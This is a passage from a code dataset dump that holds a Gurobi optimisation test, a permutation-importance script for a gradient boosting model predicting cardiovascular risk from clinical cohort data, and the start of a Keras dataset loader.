variable\n \n d1 = 0.35\n d2 = -0.35\n ks= 50\n len_p = 0.6\n E = [[-1, len_p, 0, 0], [1, -len_p, 0, 0 ]]\n E = np.asarray(E)\n F = 1/ks * np.eye(2)\n F = np.asarray(F)\n c = [[d1], [-d2]]\n c = np.asarray(c)\n H = np.zeros((2,1))\n \n # Create a new model\n model = gp.Model()\n model.Params.LogToConsole = 0\n model.Params.OutputFlag = 0\n \n # Create variables\n delta = model.addVars(TUT, vtype=GRB.CONTINUOUS)\n cons_binary = model.addVars(m, vtype=GRB.BINARY)\n\n #obj = sum([( delta[i] - cons[i]) * G[i,j] * (delta[j] - cons[j]) for i, j in np.ndindex(G.shape) if np.abs(G[i,j]) > 1.e-9])\n obj = quadratic_expression(G,delta,cons)\n \n \n # Set objective\n model.setObjective(obj, GRB.MINIMIZE)\n \n #Set constraint matrix (Ex + F \\lambda + H u + c)\n Mcons1 = np.hstack((E, F, H))\n Mcons2 = np.hstack( ( np.zeros((m,n)) , np.eye(m) , np.zeros((m,k)) ) )\n \n Mcons1_exp = linear_expression(Mcons1, c, delta)\n Mcons2_exp = linear_expression(Mcons2, np.zeros((m,1)), delta)\n \n for i in range(m):\n model.addConstr( Mcons1_exp[i] >= 0)\n model.addConstr(Mcons2_exp[i] >= 0)\n model.addConstr( Mcons1_exp[i] <= M*(1 - cons_binary[i]) )\n model.addConstr( Mcons2_exp[i] <= M*( cons_binary[i] ) )\n \n # Build (sparse) constraint matrix\n val = np.array([1.0, 2.0, 3.0, -1.0, -1.0])\n row = np.array([0, 0, 0, 1, 1])\n col = np.array([0, 1, 2, 0, 1])\n\n A = sp.csr_matrix((val, (row, col)), shape=(2, 3))\n\n # Build rhs vector\n #rhs = np.array([4.0, -1.0])\n\n # Add constraints\n #model.addConstr(A @ x <= rhs, name=\"c\")\n\n # Optimize model\n model.optimize()\n\n #print(x.X)\n print('Obj: %g' % model.objVal)\n\nexcept gp.GurobiError as e:\n print('Error code ' + str(e.errno) + \": \" + str(e))\n\nexcept AttributeError:\n print('Encountered an attribute error')\n \n","sub_path":"traj_opt_parallel/gurobitest.py","file_name":"gurobitest.py","file_ext":"py","file_size_in_byte":3894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"242828767","text":"from __future__ import absolute_import\r\nfrom typing import Tuple, List, Callable, Any\r\n\r\nimport numpy as np # type: ignore\r\nfrom sklearn.utils import check_random_state # type: ignore\r\nimport matplotlib.pyplot as plt\r\n\r\nimport pickle\r\nfrom sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier\r\n\r\ndef iter_shuffled(X, columns_to_shuffle=None, pre_shuffle=False,\r\n random_state=None):\r\n \"\"\"\r\n Return an iterator of X matrices which have one or more columns shuffled.\r\n After each iteration yielded matrix is mutated inplace, so\r\n if you want to use multiple of them at the same time, make copies.\r\n\r\n ``columns_to_shuffle`` is a sequence of column numbers to shuffle.\r\n By default, all columns are shuffled once, i.e. columns_to_shuffle\r\n is ``range(X.shape[1])``.\r\n\r\n If ``pre_shuffle`` is True, a copy of ``X`` is shuffled once, and then\r\n result takes shuffled columns from this copy. If it is False,\r\n columns are shuffled on fly. ``pre_shuffle = True`` can be faster\r\n if there is a lot of columns, or if columns are used multiple times.\r\n \"\"\"\r\n rng = check_random_state(random_state)\r\n\r\n if columns_to_shuffle is None:\r\n columns_to_shuffle = range(X.shape[1])\r\n\r\n if pre_shuffle:\r\n X_shuffled = X.copy()\r\n rng.shuffle(X_shuffled)\r\n\r\n X_res = X.copy()\r\n for columns in columns_to_shuffle:\r\n if pre_shuffle:\r\n X_res[:, columns] = X_shuffled[:, columns]\r\n else:\r\n rng.shuffle(X_res[:, columns])\r\n yield X_res\r\n X_res[:, columns] = X[:, columns]\r\n\r\n\r\n\r\ndef get_score_importances(\r\n score_func, # type: Callable[[Any, Any], float]\r\n X,\r\n y,\r\n n_iter=5, # type: int\r\n columns_to_shuffle=None,\r\n random_state=None\r\n ):\r\n # type: (...) -> Tuple[float, List[np.ndarray]]\r\n \"\"\"\r\n Return ``(base_score, score_decreases)`` tuple with the base score and\r\n score decreases when a feature is not available.\r\n\r\n ``base_score`` is ``score_func(X, y)``; ``score_decreases``\r\n is a list of length ``n_iter`` with feature importance arrays\r\n (each array is of shape ``n_features``); feature importances are computed\r\n as score decrease when a feature is not available.\r\n\r\n ``n_iter`` iterations of the basic algorithm is done, each iteration\r\n starting from a different random seed.\r\n\r\n If you just want feature importances, you can take a mean of the result::\r\n\r\n import numpy as np\r\n from eli5.permutation_importance import get_score_importances\r\n\r\n base_score, score_decreases = get_score_importances(score_func, X, y)\r\n feature_importances = np.mean(score_decreases, axis=0)\r\n\r\n \"\"\"\r\n rng = check_random_state(random_state)\r\n base_score = score_func(X, y)\r\n scores_decreases = []\r\n for i in range(n_iter):\r\n scores_shuffled = _get_scores_shufled(\r\n score_func, X, y, columns_to_shuffle=columns_to_shuffle,\r\n random_state=rng\r\n )\r\n scores_decreases.append(-scores_shuffled + base_score)\r\n return base_score, scores_decreases\r\n\r\n\r\n\r\ndef _get_scores_shufled(score_func, X, y, columns_to_shuffle=None,\r\n random_state=None):\r\n Xs = iter_shuffled(X, columns_to_shuffle, random_state=random_state)\r\n return np.array([score_func(X_shuffled, y) for X_shuffled in Xs])\r\n\r\n\r\n# -*- coding: utf-8 -*-\r\nfrom functools import partial\r\nfrom typing import List\r\n\r\nimport numpy as np # type: ignore\r\nfrom sklearn.model_selection import check_cv # type: ignore\r\nfrom sklearn.utils.metaestimators import if_delegate_has_method # type: ignore\r\nfrom sklearn.utils import check_array, check_random_state # type: ignore\r\nfrom sklearn.base import ( # type: ignore\r\n BaseEstimator,\r\n MetaEstimatorMixin,\r\n clone,\r\n is_classifier\r\n)\r\nfrom sklearn.metrics.scorer import check_scoring # type: ignore\r\n\r\n# from eli5.permutation_importance import get_score_importances\r\n#from eli5.sklearn.utils import pandas_available\r\nimport pandas as pd # type: ignore\r\npandas_available = True\r\n\r\nCAVEATS_CV_NONE = \"\"\"\r\nFeature importances are computed on the same data as used for training, \r\ni.e. feature importances don't reflect importance of features for \r\ngeneralization.\r\n\"\"\"\r\n\r\nCAVEATS_CV = \"\"\"\r\nFeature importances are not computed for the final estimator; \r\nthey are computed for a sequence of estimators trained and evaluated \r\non train/test splits. So they tell you about importances of features \r\nfor generalization, but not feature importances of a particular trained model.\r\n\"\"\"\r\n\r\nCAVEATS_PREFIT = \"\"\"\r\nIf feature importances are computed on the same data as used for training, \r\nthey don't reflect importance of features for generalization. Use a held-out\r\ndataset if you want generalization feature importances.\r\n\"\"\"\r\n\r\n\r\nclass PermutationImportance(BaseEstimator, MetaEstimatorMixin):\r\n \"\"\"Meta-estimator which computes ``feature_importances_`` attribute\r\n based on permutation importance (also known as mean score decrease).\r\n\r\n :class:`~PermutationImportance` instance can be used instead of\r\n its wrapped estimator, as it exposes all estimator's common methods like\r\n ``predict``.\r\n\r\n There are 3 main modes of operation:\r\n\r\n 1. cv=\"prefit\" (pre-fit estimator is passed). You can call\r\n PermutationImportance.fit either with training data, or\r\n with a held-out dataset (in the latter case ``feature_importances_``\r\n would be importances of features for generalization). After the fitting\r\n ``feature_importances_`` attribute becomes available, but the estimator\r\n itself is not fit again. When cv=\"prefit\",\r\n :meth:`~PermutationImportance.fit` must be called\r\n directly, and :class:`~PermutationImportance` cannot be used with\r\n ``cross_val_score``, ``GridSearchCV`` and similar utilities that clone\r\n the estimator.\r\n 2. cv=None. In this case :meth:`~PermutationImportance.fit` method fits\r\n the estimator and computes feature importances on the same data, i.e.\r\n feature importances don't reflect importance of features for\r\n generalization.\r\n 3. all other ``cv`` values. :meth:`~PermutationImportance.fit` method\r\n fits the estimator, but instead of computing feature importances for\r\n the concrete estimator which is fit, importances are computed for\r\n a sequence of estimators trained and evaluated on train/test splits\r\n according to ``cv``, and then averaged. This is more resource-intensive\r\n (estimators are fit multiple times), and importances are not computed\r\n for the final estimator, but ``feature_importances_`` show importances\r\n of features for generalization.\r\n\r\n Mode (1) is most useful for inspecting an existing estimator; modes\r\n (2) and (3) can be also used for feature selection, e.g. together with\r\n sklearn's SelectFromModel or RFE.\r\n\r\n Currently :class:`~PermutationImportance` works with dense data.\r\n\r\n Parameters\r\n ----------\r\n estimator : object\r\n The base estimator. This can be both a fitted\r\n (if ``prefit`` is set to True) or a non-fitted estimator.\r\n\r\n scoring : string, callable or None, default=None\r\n Scoring function to use for computing feature importances.\r\n A string with scoring name (see scikit-learn docs) or\r\n a scorer callable object / function with signature\r\n ``scorer(estimator, X, y)``.\r\n If ``None``, the ``score`` method of the estimator is used.\r\n\r\n n_iter : int, default 5\r\n Number of random shuffle iterations. Decrease to improve speed,\r\n increase to get more precise estimates.\r\n\r\n random_state : integer or numpy.random.RandomState, optional\r\n random state\r\n\r\n cv : int, cross-validation generator, iterable or \"prefit\"\r\n Determines the cross-validation splitting strategy.\r\n Possible inputs for cv are:\r\n\r\n - None, to disable cross-validation and compute feature importances\r\n on the same data as used for training.\r\n - integer, to specify the number of folds.\r\n - An object to be used as a cross-validation generator.\r\n - An iterable yielding train/test splits.\r\n - \"prefit\" string constant (default).\r\n\r\n If \"prefit\" is passed, it is assumed that ``estimator`` has been\r\n fitted already and all data is used for computing feature importances.\r\n\r\n refit : bool\r\n Whether to fit the estimator on the whole data if cross-validation\r\n is used (default is True).\r\n\r\n Attributes\r\n ----------\r\n feature_importances_ : array\r\n Feature importances, computed as mean decrease of the score when\r\n a feature is permuted (i.e. becomes noise).\r\n\r\n feature_importances_std_ : array\r\n Standard deviations of feature importances.\r\n\r\n results_ : list of arrays\r\n A list of score decreases for all experiments.\r\n\r\n scores_ : array of float\r\n A list of base scores for all experiments (with no features permuted).\r\n\r\n estimator_ : an estimator\r\n The base estimator from which the :class:`~PermutationImportance`\r\n instance is built. This is stored only when a non-fitted estimator\r\n is passed to the :class:`~PermutationImportance`, i.e when ``cv`` is\r\n not \"prefit\".\r\n\r\n rng_ : numpy.random.RandomState\r\n random state\r\n \"\"\"\r\n def __init__(self, estimator, scoring=None, n_iter=5, random_state=None,\r\n cv='prefit', refit=True):\r\n # type: (...) -> None\r\n if isinstance(cv, str) and cv != \"prefit\":\r\n raise ValueError(\"Invalid cv value: {!r}\".format(cv))\r\n self.refit = refit\r\n self.estimator = estimator\r\n self.scoring = scoring\r\n self.n_iter = n_iter\r\n self.random_state = random_state\r\n self.cv = cv\r\n self.rng_ = check_random_state(random_state)\r\n\r\n def _wrap_scorer(self, base_scorer, pd_columns):\r\n def pd_scorer(model, X, y):\r\n X = pd.DataFrame(X, columns=pd_columns)\r\n return base_scorer(model, X, y)\r\n return pd_scorer\r\n\r\n def fit(self, X, y, groups=None, **fit_params):\r\n # type: (...) -> PermutationImportance\r\n \"\"\"Compute ``feature_importances_`` attribute and optionally\r\n fit the base estimator.\r\n\r\n Parameters\r\n ----------\r\n X : array-like of shape (n_samples, n_features)\r\n The training input samples.\r\n\r\n y : array-like, shape (n_samples,)\r\n The target values (integers that correspond to classes in\r\n classification, real numbers in regression).\r\n\r\n groups : array-like, with shape (n_samples,), optional\r\n Group labels for the samples used while splitting the dataset into\r\n train/test set.\r\n\r\n **fit_params : Other estimator specific parameters\r\n\r\n Returns\r\n -------\r\n self : object\r\n Returns self.\r\n \"\"\"\r\n self.scorer_ = check_scoring(self.estimator, scoring=self.scoring)\r\n\r\n if pandas_available and isinstance(X, pd.DataFrame):\r\n self.scorer_ = self._wrap_scorer(self.scorer_, X.columns)\r\n\r\n if self.cv != \"prefit\" and self.refit:\r\n self.estimator_ = clone(self.estimator)\r\n self.estimator_.fit(X, y, **fit_params)\r\n\r\n X = check_array(X)\r\n\r\n if self.cv not in (None, \"prefit\"):\r\n si = self._cv_scores_importances(X, y, groups=groups, **fit_params)\r\n else:\r\n si = self._non_cv_scores_importances(X, y)\r\n scores, results = si\r\n self.scores_ = np.array(scores)\r\n self.results_ = results\r\n self.feature_importances_ = np.mean(results, axis=0)\r\n self.feature_importances_std_ = np.std(results, axis=0)\r\n return self\r\n\r\n\r\n def _cv_scores_importances(self, X, y, groups=None, **fit_params):\r\n assert self.cv is not None\r\n cv = check_cv(self.cv, y, is_classifier(self.estimator))\r\n feature_importances = [] # type: List\r\n base_scores = [] # type: List[float]\r\n for train, test in cv.split(X, y, groups):\r\n est = clone(self.estimator).fit(X[train], y[train], **fit_params)\r\n score_func = partial(self.scorer_, est)\r\n _base_score, _importances = self._get_score_importances(\r\n score_func, X[test], y[test])\r\n base_scores.extend([_base_score] * len(_importances))\r\n feature_importances.extend(_importances)\r\n return base_scores, feature_importances\r\n\r\n def _non_cv_scores_importances(self, X, y):\r\n score_func = partial(self.scorer_, self.wrapped_estimator_)\r\n base_score, importances = self._get_score_importances(score_func, X, y)\r\n return [base_score] * len(importances), importances\r\n\r\n def _get_score_importances(self, score_func, X, y):\r\n return get_score_importances(score_func, X, y, n_iter=self.n_iter,\r\n random_state=self.rng_)\r\n\r\n @property\r\n def caveats_(self):\r\n # type: () -> str\r\n if self.cv == 'prefit':\r\n return CAVEATS_PREFIT\r\n elif self.cv is None:\r\n return CAVEATS_CV_NONE\r\n return CAVEATS_CV\r\n\r\n # ============= Exposed methods of a wrapped estimator:\r\n\r\n @if_delegate_has_method(delegate='wrapped_estimator_')\r\n def score(self, X, y=None, *args, **kwargs):\r\n return self.wrapped_estimator_.score(X, y, *args, **kwargs)\r\n\r\n @if_delegate_has_method(delegate='wrapped_estimator_')\r\n def predict(self, X):\r\n return self.wrapped_estimator_.predict(X)\r\n\r\n @if_delegate_has_method(delegate='wrapped_estimator_')\r\n def predict_proba(self, X):\r\n return self.wrapped_estimator_.predict_proba(X)\r\n\r\n @if_delegate_has_method(delegate='wrapped_estimator_')\r\n def predict_log_proba(self, X):\r\n return self.wrapped_estimator_.predict_log_proba(X)\r\n\r\n @if_delegate_has_method(delegate='wrapped_estimator_')\r\n def decision_function(self, X):\r\n return self.wrapped_estimator_.decision_function(X)\r\n\r\n @property\r\n def wrapped_estimator_(self):\r\n if self.cv == \"prefit\" or not self.refit:\r\n return self.estimator\r\n return self.estimator_\r\n\r\n @property\r\n def _estimator_type(self):\r\n return self.estimator._estimator_type\r\n\r\n @property\r\n def classes_(self):\r\n return self.wrapped_estimator_.classes_\r\n\r\n\r\ndef get_column_inds_from_names(df_column_names, names_to_replace):\r\n replace_inds = []\r\n for n2r in names_to_replace:\r\n replace_inds.append([df_column_names.get_loc(c) for c in n2r])\r\n return(replace_inds)\r\n \r\n \r\ndef variable_importance_plot(feature_names, feat_importances, err=None, keep_top = None):\r\n \"\"\"\r\n Purpose\r\n ----------\r\n Prints bar chart detailing variable importance for CART model\r\n NOTE: feature_space list was created because the bar chart\r\n was transposed and index would be in incorrect order.\r\n\r\n Parameters\r\n ----------\r\n * importance: Array returned from feature_importances_ for CART\r\n models organized by dataframe index\r\n\r\n Returns:\r\n ----------\r\n Returns variable importance plot in descending order\r\n \"\"\"\r\n# index = np.arange(len(names_index))\r\n\r\n# importance_desc = sorted(importance)\r\n# feature_space = []\r\n\r\n# for i in range(indices.shape[0] - 1, -1, -1):\r\n# feature_space.append(names_index[indices[i]])\r\n fig, ax = plt.subplots(figsize=(7.5, 12))\r\n \r\n if err is None:\r\n err = np.zeros(len(feat_importances))\r\n feature_importances = pd.DataFrame([feat_importances, err], columns=feature_names)\r\n importances_df = feature_importances.sort_values(by=0, axis=1, ascending=True, inplace=False, kind='quicksort', na_position='last').T\r\n importances_df.columns = ['imps', 'err']\r\n if keep_top is not None:\r\n importances_df = importances_df.iloc[(-1*keep_top):]\r\n# ax.set_axis_bgcolor('#fafafa')\r\n ax.barh(importances_df.index,\r\n importances_df.imps,\r\n xerr=importances_df.err, \r\n alpha = 0.9, \r\n edgecolor = \"black\", \r\n zorder=3, \r\n color='lightblue'\r\n )\r\n# align=\"center\",\r\n# color = '#875FDB')\r\n# plt.yticks(index,\r\n# feature_space)\r\n\r\n# plt.ylim(-1, 30)\r\n# plt.xlim(0, max(importance_desc) + 0.01)\r\n ax.set_ylabel('Feature')\r\n\r\n fig.subplots_adjust(left=0.3)\r\n fig.tight_layout()\r\n return ax, fig\r\n\r\n#names_of_feats_all = []\r\n#for feat_group in feature_space.columns:\r\n# for feat_dict in PATIENT_FEATURES_CONFIG:\r\n# if feat_dict['name'] == feat_group:\r\n# names_of_feats_all.append(feat_dict['formatted_name'])\r\n# break\r\n\r\n\r\n\r\n\r\n#feat_list = [['agebl'],\r\n#['female'],\r\n#['race'],\r\n#['hdlchol'],\r\n#['totchol'],\r\n#['systolic'],\r\n#['t2d_history'],\r\n#['bp_antihtn'],\r\n#['cursmk_ever'],\r\n#['ldlchol'],\r\n#['diastolic'],\r\n#['wt'],\r\n#['ht'],\r\n#['medhousincome'],\r\n#['primarycarevsts'],\r\n#['otherservicevsts'],\r\n#['specialtycarevsts'],\r\n#['total_medications'],\r\n#['education5'],\r\n#['education3'],\r\n#['education4'],\r\n#['education6'],\r\n#['education1'],\r\n#['education2'],\r\n#['normal_tests'],\r\n#['abnormal_tests'],\r\n#['CCS_158'],\r\n#['CCS_98'],\r\n#['MONO_1'],\r\n#['CCS_5'],\r\n#['PSA_0'],\r\n#['LYMPH_1'],\r\n#['CCS_79'],\r\n#['MED_4799'],\r\n#['MED_3320'],\r\n#['MED_1630'],\r\n#['EOS_0'],\r\n#['CCS_102'],\r\n#['CCS_8'],\r\n#['MED_3615'],\r\n#['CCS_96'],\r\n#['MED_9646'],\r\n#['MED_6205'],\r\n#['CALCIUM_0'],\r\n#['MED_8672'],\r\n#['MED_6410'],\r\n#['EOS_1'],\r\n#['CCS_33'],\r\n#['BASO_0'],\r\n#['CCS_63'],\r\n#['GLU_1'],\r\n#['CCS_59'],\r\n#['GFR_1'],\r\n#['CRP_1'],\r\n#['CCS_51'],\r\n#['CCS_204'],\r\n#['CCS_95'],\r\n#['CCS_653'],\r\n#['CCS_64'],\r\n#['CCS_244'],\r\n#['CCS_97'],\r\n#['MED_3999'],\r\n#['U_ACR_1'],\r\n#['MED_8625'],\r\n#['K_0'],\r\n#['MED_4630'],\r\n#['U_PROT_1'],\r\n#['MED_4155'],\r\n#['BILI_0'],\r\n#['CCS_83'],\r\n#['BILI_1'],\r\n#['CCS_2'],\r\n#['MED_1220'],\r\n#['MED_0310'],\r\n#['MED_5940'],\r\n#['CCS_11'],\r\n#['CCS_660'],\r\n#['MED_9066'],\r\n#['CCS_104'],\r\n#['MED_3720'],\r\n#['MED_7710'],\r\n#['MED_4240'],\r\n#['CCS_115'],\r\n#['AST_0'],\r\n#['CCS_216'],\r\n#['MED_3760'],\r\n#['CCS_211'],\r\n#['MED_0700'],\r\n#['T4_1'],\r\n#['FIBRINOGEN_1'],\r\n#['BUN_1'],\r\n#['MED_8230'],\r\n#['CCS_152'],\r\n#['CCS_49'],\r\n#['CCS_50'],\r\n#['CCS_651'],\r\n#['CCS_199'],\r\n#['MED_3610'],\r\n#['CCS_99'],\r\n#['MED_4920'],\r\n#['MED_0199'],\r\n#['MED_4650'],\r\n#['Emphysema'],\r\n#['MED_3940'],\r\n#['MED_0230'],\r\n#['MED_9940'],\r\n#['MED_7813'],\r\n#['U_MICALB24_1']]\r\n#\r\n#feat_names = ['agebl',\r\n#'female',\r\n#'race',\r\n#'hdlchol',\r\n#'totchol',\r\n#'systolic',\r\n#'t2d_history',\r\n#'bp_antihtn',\r\n#'cursmk_ever',\r\n#'ldlchol',\r\n#'diastolic',\r\n#'wt',\r\n#'ht',\r\n#'medhousincome',\r\n#'primarycarevsts',\r\n#'otherservicevsts',\r\n#'specialtycarevsts',\r\n#'total_medications',\r\n#'education5',\r\n#'education3',\r\n#'education4',\r\n#'education6',\r\n#'education1',\r\n#'education2',\r\n#'normal_tests',\r\n#'abnormal_tests',\r\n#'CCS_158',\r\n#'CCS_98',\r\n#'MONO_1',\r\n#'CCS_5',\r\n#'PSA_0',\r\n#'LYMPH_1',\r\n#'CCS_79',\r\n#'MED_4799',\r\n#'MED_3320',\r\n#'MED_1630',\r\n#'EOS_0',\r\n#'CCS_102',\r\n#'CCS_8',\r\n#'MED_3615',\r\n#'CCS_96',\r\n#'MED_9646',\r\n#'MED_6205',\r\n#'CALCIUM_0',\r\n#'MED_8672',\r\n#'MED_6410',\r\n#'EOS_1',\r\n#'CCS_33',\r\n#'BASO_0',\r\n#'CCS_63',\r\n#'GLU_1',\r\n#'CCS_59',\r\n#'GFR_1',\r\n#'CRP_1',\r\n#'CCS_51',\r\n#'CCS_204',\r\n#'CCS_95',\r\n#'CCS_653',\r\n#'CCS_64',\r\n#'CCS_244',\r\n#'CCS_97',\r\n#'MED_3999',\r\n#'U_ACR_1',\r\n#'MED_8625',\r\n#'K_0',\r\n#'MED_4630',\r\n#'U_PROT_1',\r\n#'MED_4155',\r\n#'BILI_0',\r\n#'CCS_83',\r\n#'BILI_1',\r\n#'CCS_2',\r\n#'MED_1220',\r\n#'MED_0310',\r\n#'MED_5940',\r\n#'CCS_11',\r\n#'CCS_660',\r\n#'MED_9066',\r\n#'CCS_104',\r\n#'MED_3720',\r\n#'MED_7710',\r\n#'MED_4240',\r\n#'CCS_115',\r\n#'AST_0',\r\n#'CCS_216',\r\n#'MED_3760',\r\n#'CCS_211',\r\n#'MED_0700',\r\n#'T4_1',\r\n#'FIBRINOGEN_1',\r\n#'BUN_1',\r\n#'MED_8230',\r\n#'CCS_152',\r\n#'CCS_49',\r\n#'CCS_50',\r\n#'CCS_651',\r\n#'CCS_199',\r\n#'MED_3610',\r\n#'CCS_99',\r\n#'MED_4920',\r\n#'MED_0199',\r\n#'MED_4650',\r\n#'Emphysema',\r\n#'MED_3940',\r\n#'MED_0230',\r\n#'MED_9940',\r\n#'MED_7813',\r\n#'U_MICALB24_1']\r\n\r\n#names_of_feats = []\r\n#for feat_group in feat_list:\r\n# for feat_dict in PATIENT_FEATURES_CONFIG:\r\n# if feat_dict['name'] == feat_group[0]:\r\n# names_of_feats.append(feat_dict['formatted_name'])\r\n# break\r\n# \r\n#names_of_feats[0] = 'Clinic Location'\r\n#names_of_feats[1] = 'Clinic Urban/Rural'\r\n#names_of_feats[2] = 'Ethnicity'\r\n#names_of_feats[3] = 'Insurance Type'\r\n#%%\r\nresult_dir = '../Results/allvars_pce_pts_0506/'\r\nimport os\r\nif not os.path.isdir(os.path.dirname(result_dir)): os.mkdir(os.path.dirname(result_dir))\r\n#result_dir = '../Results/allvars_pce_pts_0925/'\r\n#best_model = 'gbm'\r\n#from joblib import dump, load\r\n#result_dir = '../Results/allvars_oldyoung_missing_0913/'\r\n#best_model = 'gbm'\r\n#model = load(result_dir + best_model + '_best_model.joblib')\r\nrun_date_str = '0507'\r\n\r\n#feat_import_df = pd.read_csv(result_dir + best_model + \"_feature_importances.csv\")\r\n##%%\r\n#feat_names = [f for f in feat_import_df.feature if '_missing' not in f]\r\n#feat_list = [[f] for f in feat_names]\r\n##%%\r\n#ax, fig = variable_importance_plot(feat_import_df.feature, feat_import_df.importance.values, keep_top = 30)\r\n#ax.set_title('Feature importances for GBM: Impurity')\r\n#ax.set_xlabel('Mean Decrease in Impurity');\r\n#plt.tight_layout()\r\n#plt.savefig(f'{result_dir}feature_importances_{best_model}_impurity_{run_date_str}.png', dpi = 500)\r\n\r\n\r\n#%%\r\n\r\nfrom sklearn.experimental import enable_iterative_imputer\r\nfrom sklearn.impute import IterativeImputer\r\nfrom medical_ML import split_cohort\r\nfrom datetime import datetime\r\ntest_ind_col = 'test_ind'\r\nlabel = 'ascvdany5y'\r\nto_exclude = {\r\n 'pce_cohort': False,\r\n 'pce_invalid_vars': True,\r\n 'cvd_bl': True,\r\n 'antilpd': True,\r\n 'oldyoung': True}\r\ndatafile = 'allvars.csv'\r\nascvd_est = pd.read_csv('../Data/cohort/' + datafile)\r\n#%%\r\ntrain_est2, test_est2 = split_cohort(ascvd_est, to_exclude, test_ind_col, drop = 'all')\r\ntest_set_data = pd.get_dummies(test_est2, columns = [c for c in test_est2.columns if test_est2[c].dtype=='O'])\r\ntrain_set_data = pd.get_dummies(train_est2, columns = [c for c in train_est2.columns if train_est2[c].dtype=='O'])\r\ntrain_set_features = train_set_data[[f for f in train_set_data.columns if f != label]]\r\ntest_set_features = test_set_data[[f for f in test_set_data.columns if f != label]]\r\ntrain_set_labels = train_est2[label]\r\ntest_set_labels = test_est2[label]\r\ntrain_est2 = test_est2 = ascvd_est = None\r\nimp = IterativeImputer(add_indicator=False,\r\n estimator=None,\r\n imputation_order='ascending',\r\n initial_strategy='mean',\r\n max_iter=50, max_value=None,\r\n min_value=None,\r\n missing_values=np.nan,\r\n n_nearest_features=10,\r\n random_state=None,\r\n sample_posterior=False,\r\n tol=0.001, verbose=0)\r\nimp.fit(train_set_features)\r\ntrain_set_imp_features = imp.transform(train_set_features)\r\ntrain_set_imp_features = pd.DataFrame(train_set_imp_features, columns = train_set_features.columns)\r\ntest_set_imp_features = imp.transform(test_set_features)\r\ntest_set_imp_features = pd.DataFrame(test_set_imp_features, columns = test_set_features.columns)\r\ntrain_set_features = test_set_features = None\r\n#%%\r\n#fl2 = [[fl[0]] for fl in feat_list if 'race' not in fl[0]]\r\n#\r\n#fl2.append(['race'])\r\n#%%\r\n#gbm = model.named_steps['predictor']\r\n#gbm.n_features_ = test_set_features.shape[1]\r\n#parms = gbm.get_params()\r\n#model.named_steps['predictor'].n_features = test_set_features.shape[1]\r\nparms = {'n_estimators': 300,\r\n 'learning_rate': 0.01,\r\n 'max_depth': 5,\r\n 'subsample': 0.35,\r\n 'max_features': 0.25}\r\nprint('training GBM')\r\nnow = datetime.now()\r\ngbm2 = GradientBoostingClassifier(**parms)\r\nprint(train_set_imp_features.columns)\r\ngbm2.fit(train_set_imp_features, train_set_labels)\r\ndifference = (datetime.now() - now).total_seconds()\r\nprint('done, total seconds:', difference)\r\n#%%\r\nax, fig = variable_importance_plot(train_set_imp_features.columns, gbm2.feature_importances_, keep_top = 30)\r\n\r\nax.set_title('Feature importances for GBM model: Permutation Importance')\r\nax.set_xlabel('Mean Decrease in AUC')\r\nplt.tight_layout()\r\nplt.savefig(f'{result_dir}feat_imps_gini_{run_date_str}_100.png', dpi = 500)\r\n#dump(gbm2)\r\n#%%\r\nprint('calculating permutation importance')\r\nnow = datetime.now()\r\nfeat_names = [f for f in test_set_imp_features.columns if '_missing' not in f]\r\nfeat_list = [[f] for f in feat_names]\r\nperm = PermutationImportance(gbm2, n_iter=5).fit(test_set_imp_features, test_set_labels)\r\ndifference = (datetime.now() - now).total_seconds()\r\nprint('done, total seconds:', difference)\r\nwith open(f'{result_dir}permutation_feat_importances_all_test_{run_date_str}_5.pkl', \"wb\") as output_file:\r\n pickle.dump([perm.results_, perm.feature_importances_, perm.feature_importances_std_], output_file)\r\n #%%\r\nax, fig = variable_importance_plot(feat_names, perm.feature_importances_, err=perm.feature_importances_std_, keep_top = 30)\r\n\r\nax.set_title('Feature importances for GBM model: Permutation Importance')\r\nax.set_xlabel('Mean Decrease in AUC')\r\nplt.tight_layout()\r\nplt.savefig(f'{result_dir}feat_imps_permutation_test_{run_date_str}_100.png', dpi = 500)\r\n\r\n\r\n## Create horizontal bars\r\n#y_pos = np.arange(len(top_features_union))\r\n#\r\n#fig, ax = plt.subplots(figsize=(10,8))\r\n#ax.xaxis.grid(True, zorder=0)\r\n#width = 0.40\r\n#\r\n#offset_fix = np.zeros(len(top_features_union))\r\n#offset_fix[top_var_imp_red == 0]= -width/2\r\n##top_var_imp/np.max(top_var_imp) * 100 top_var_imp_red/np.max(top_var_imp_red) * 100 , width\r\n#\r\n#plt.barh(y_pos+width/2 + offset_fix, var_imp_df_top['relative importance'] , width, alpha = 0.5, edgecolor = \"black\", zorder=3, color='tab:grey')\r\n#plt.barh(y_pos-width/2, var_imp_df_red_top['relative importance'] ,width, alpha = 0.5, edgecolor = \"black\", zorder=3, color='tab:blue')\r\n# \r\n## Create names on the y-axis\r\n#plt.yticks(y_pos, top_features)\r\n#\r\n#plt.xlabel('Relative Importance (%)')\r\n#plt.xlim(0, 100)\r\n#plt.legend([ 'All variables','Bedside variables'])\r\n#plt.tight_layout()","sub_path":"debug_permutation_importance.py","file_name":"debug_permutation_importance.py","file_ext":"py","file_size_in_byte":26779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"561669177","text":"import numpy as np\nfrom configuration import conf\nfrom keras.utils import np_utils\nimport keras.datasets as Datasets\n\n\nclass Load_data(object):\n\n def __init__(self):\n pass\n\n def load(self):\n task_type = conf.task_type\n dataset_name = conf.dataset_name\n assert task_type in ['Baseline', 'Sequential_split', 'Sequential_permute'], 'Task type is not valid'\n assert dataset_name in ['mnist', 'cifar10', 'cifar100', 'omniglot', 'timh',\n 'fashion_mnist'], 'Dataset is not available'\n\n data = self.load_dataset(dataset_name, conf.is_conv)\n\n if task_type == 'Baseline':\n return data\n elif task_type == 'Sequential_split':\n return self.split_data(data)\n elif task_type == 'Sequential_permute':\n return self.permute_data(data)\n\n def load_dataset(self, data_name, is_conv):\n if data_name in ['omniglot']:\n from utils.data_utils import load_omniglot\n (X_train, y_train), (X_test, y_test) = load_omniglot()\n elif data_name in ['timh']:\n from utils.data_utils import load_tihm\n (X_train, y_train), (X_test, y_test) = load_tihm()\n else:\n dataset_obj = getattr(Datasets, data_name)\n (X_train, y_train), (X_test, y_test) = dataset_obj.load_data()\n self.nb_classes = len(np.unique(y_train))\n conf.num_classes = self.nb_classes\n if data_name in ['cifar10', 'cifar100']:\n is_conv = True\n if not is_conv:\n # assert data_name not in ['cifar10','cifar100'], data_name + ' must be trained with is_conv = True'\n X_train = X_train.reshape(X_train.shape[0], 